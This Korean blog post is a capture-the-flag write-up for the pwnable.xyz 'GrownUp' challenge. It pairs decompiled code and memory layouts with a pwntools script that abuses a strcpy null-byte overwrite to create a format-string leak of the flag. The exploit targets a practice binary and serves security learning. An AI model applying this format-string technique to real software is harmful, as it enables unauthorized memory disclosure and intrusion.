pwnable.xyz - GrownUp
2021. 8. 2. 11:08ㆍPwnable
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // ST08_8
__int64 buf; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup(*&argc, argv, envp);
buf = 0LL;
v6 = 0LL;
printf("Are you 18 years or older? [y/N]: ");
*(&buf + (read(0, &buf, 0x10uLL) - 1)) = 0;
if ( buf != 121 && buf != 89 )
return 0;
src = malloc(0x84uLL);
printf("Name: ", &buf);
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ", src);
printf(qword_601160, usr);
return 0;
}
문제를 확인하면 일단 처음에 input하나를 받아서 y인지 확인하고,
read한번을 더 한다.
기본적인 fsb문제인데
.bss:00000000006010E0 ; char usr[128]
.bss:00000000006010E0 usr db 80h dup(?) ; DATA XREF: main+B6↑o
.bss:00000000006010E0 ; main+DA↑o
.bss:0000000000601160 ; char *qword_601160
.bss:0000000000601160 qword_601160 dq ? ; DATA XREF: setup+58↑w
.bss:0000000000601160 ; main+D3↑r
.bss:0000000000601168 byte_601168 db ? ; DATA XREF: setup+51↑o
.bss:0000000000601168 ; setup+5F↑w
.bss:0000000000601169 byte_601169 db ? ; DATA XREF: setup+66↑w
.bss:000000000060116A byte_60116A db ? ; DATA XREF: setup+6D↑w
.bss:000000000060116B align 10h
.bss:000000000060116B _bss ends
.bss:000000000060116B
bss가 위에 구조로 생겼고,
.data:000000000060107F db 0
.data:0000000000601080 public flag
.data:0000000000601080 flag db 'FLAG{_the_real_flag_will_be_here_}',0
.data:0000000000601080 _data ends
.data:0000000000601080
0x601080 위치에 flag값이 존재한다.
2번째 read에서 0x80 을 다 덮어주게 되면 그 부분이 0x601160을 가리키는데 strcpy로 덮게 되면 끝에가 null이 들어가서 해당 주소가 가리키는 부분이 0x6011100이 된다.
printf를 할때 qword_601160을 가져오기 때문에 중간에 존재하는 값들을 읽어서 fsb를 만들어낼 수 있다
from pwn import *
r = remote("svc.pwnable.xyz", 30004)
#r = process("./GrownUpRedist")
e = ELF("./GrownUpRedist")
l = e.libc
context.log_level = "debug"
r.recv()
pay = "y"*8
pay += p64(0x0000000000601080)
r.send(pay)
r.recv()
pay = ""
pay += "A"*0x40
pay += "%9$s"
pay += "A"*(0x80-len(pay))
r.send(pay)
r.interactive()
실제로 돌려보면 9번째 추출값에서 flag가 출력된다.
'Pwnable' 카테고리의 다른 글
HackCTF - Unexploitable #3 (0) | 2021.08.10 |
---|---|
pwnable.xyz - Game (0) | 2021.08.05 |
pwnable.xyz - two targets (0) | 2021.08.01 |
dreamhack.io - seccomp (0) | 2021.07.31 |
dreamhack.io - cpp_smart_pointer_1 (0) | 2021.07.29 |